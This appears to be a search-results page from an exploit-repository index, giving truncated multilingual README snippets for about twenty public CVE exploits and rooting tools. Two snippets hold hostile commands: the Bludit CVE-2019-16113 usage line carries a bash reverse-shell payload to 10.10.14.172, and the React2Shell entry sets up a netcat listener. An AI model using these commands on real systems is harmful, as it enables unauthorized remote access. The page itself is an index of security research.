231743 matches found
CVE-2016-7255
CVE-2016-7255 Se utiliza para explotar cve-2016-7255 en versiones de 64 bits de Windows, probado en Workstation 7 SP1, 8.1, 10 anterior a la compilación 1607 y Server 2012 R2. Uso cve-2016-7255 cve-2016-7255.exe 7 - Windows 7 SP1 cve-2016-7255.exe 81 - Windows 8.1 cve-2016-7255.exe 10 - Windows 1...
Struts2Shell
Struts2Shell 针对 CVE-2017-5638 的漏洞利用（及库） - Apache Struts2 S2-045 漏洞。 安装 $ npm install -g struts2shell 作为库安装 $ npm install struts2shell 命令行选项 -h, --help 输出使用信息 -V, --version 输出版本号 -u, --url target 要攻击的 URL -c, --cmd command 要执行的命令 作为库使用 var Struts2Shell = require'struts2shell'; Struts2Shell URL:...
React2Shell_Exploit
React2ShellExploit CVE-2025-55182 我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序 用法 1. 保存脚本：将上述代码保存为 exploit.py。 2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。 echo " reactor.htb" | sudo tee -a /etc/hosts 3. 启动监听：打开一个终端以接收反弹 Shell。 nc -lvnp 4444 4. 执行漏洞利用：使用反弹 Shell 载荷运行脚本。 python3...
CVE-2019-16113
CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...
Windows10Exploits
Windows10Exploits 下载单个 CVE 该变量仅用于示例 ; 你可以编写自己的 SVN 脚本来下载单个文件夹 = CVE = BR @nu11secur1ty $CVE = CVE-2018-0833 svn checkout https://github.com/nu11secur1ty/Windows10Exploits/trunk/Undefined/$CVE 分析描述链接表：来自 CVE-Mitre CVE| CVSS向量| 分数 ---|---|--- CVE-2021-26822|...
CVE-2021-1732-Exploit
CVE-2021-1732-Exploit CVE-2021-1732 Exploit Solo probado en windows10 1909 x64...
CVE-2025-23369
CVE-2025-23369 CVE-2025-23369 漏洞利用，相关文章在此。...
PrintNightmare-CVE-2021-1675
PrintNightmare-CVE-2021-1675 Youtube : https://youtu.be/Zr0KjYDSFKQ...
CVE-2022-44789
CVE-2022-44789 文件： PublicReferenceURL.txt：CVE 的公共参考链接 writeup.md：分析文章 + 漏洞利用代码 attachment：易受攻击的 MuJS 版本 + 示例漏洞利用代码...
kernelpop
kernelpop kernelpop is a framework for performing automated kernel vulnerability enumeration and exploitation on the following operating systems: Linux Mac It is designed to be python version-agnostic, meaning that it should work with both python2 and python3 please let me know if you find that i...
cheese
适用于 Quest 3/3S 的 Root 漏洞利用（2025 年 8 月 7 日更新及更早版本），基于 CVE-2025-21479。 Magisk、Cheese 和 Termux 带有 root shell 的截图 警告： Root 是危险的。如果你将 Quest 3/3S 变砖，将无法修复。 此操作在临时 root 状态下会禁用所有安全机制。 不要运行你不可信的应用程序或浏览你不可信的网站。 不要写入 boot 或 system 分区。否则你会变砖。 不要使用 Magisk 的“安装”功能。 你可能希望在 root 后备份你的 deviceKey、Meta Access Token...
CVE-2023-23752
这是一个用Python编写的针对CVE-2023-23752的POC，用于显示用户名和密码信息。 CVE-2023-23752 Joomla! 4.0.0 4.2.8 Usage = python3 exploit.py 下面这个GIF演示了脚本的执行过程：...
CVE-2018-16763-exploit
CVE-2018-16763-exploit 这是针对 fuelCMS 1.4.1 的 CVE-2018-16763 的更新版本。 该脚本基于 https://www.exploit-db.com/exploits/47138 上的脚本。 该脚本已更新以用于 Python 3。...
CVE-2021-1732
Windows 权限提升 针对 CVE-2021-1732 Win32k 的漏洞利用 - 本地权限提升 仅用于教育和授权的安全研究目的 原始漏洞利用作者 @Exploit Blizzard 漏洞描述 在 win32k 中存在一个漏洞，攻击者可以利用该漏洞将权限提升至 NT AUTHORITY\SYSTEM。该缺陷存在于窗口的 WndExtra 字段的处理方式中，该字段可能被当作偏移量来处理，尽管其内容由攻击者控制的值填充。这可用于实现越界写入操作，最终导致权限提升。该漏洞最初被标识为 CVE-2021-1732，并于 2021 年 2 月 9 日由 Microsoft 修复。2022 年...
uc_browser_poc_CVE-2022-1364
UCBrowserExploit.js Introducción Todo el contenido a continuación se refiere al exploit del navegador UC explorado en este artículo publicado por Interrupt Labs. Primeros pasos Este exploit se relaciona con versiones anteriores del navegador UC que incluyen el error de RCE de CVE-2022-1364. Este...
CVE-2017-12615-EXP
CVE-2017-12615-EXP .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !: .:! !!: !!: !!:...
Demo-Exploit-Jackson-RCE
Demo-Exploit-Jackson-RCE 基于项目 jackson-rce-via-spel，本项目作为一个示例Web应用程序，用于测试针对Jackson-databind漏洞的多种攻击向量（文件上传、表单）。 介绍 基于Angular7前端和spring-boot后端，可以测试不同的攻击向量，并对结果进行可视化和检查。 构建 构建并打包spring boot和angular7成一个可部署的war文件。 mvn package 运行 运行后会自动在浏览器中打开 http://localhost:4200。 backend/mvn spring-boot:run 截图...
CVE-2020-9273
CVE-2020-9273 这些是我在分析并利用 CVE-2020-9273（ProFTPd 中的一个堆释放后使用漏洞）期间创建的文件。 请在此处观看利用演示视频：链接。 此仓库中文件的说明： poc-not-really-v4.c —— 我去年（2020年10月）撰写的一篇文章和PoC，阅读后可以理解利用路径； exploitdemo.c —— 去年发布的演示利用程序，包含硬编码地址； exploitproftpd.c —— 针对本地测试的可靠利用程序，完成于2021年8月16日。 如有问题或评论，请随时私信我。...
CVE-2022-24834
CVE-2022-24834 公开利用程序的改进 作者 Conviso Research Team 描述 Ricerca Security @RicercaSec 团队发现并成功利用了一个 Redis 所包含的 Lua 解释器中的有趣漏洞 CVE-2022-24834。该漏洞是 cjson 库中的堆溢出漏洞，详细的分析可参见此处。 我们注意到一些硬编码的偏移量 2 3，这可能会给希望测试该漏洞的人带来不便，因此我们决定将其移除。主要目标是使其更通用，并学习一些 Lua 内部机制。 我们进行的修改 我们使用了一个巨大的字符串，以便更轻松地读取任意内存地址； 我们使用了 Lua 协程来泄露栈...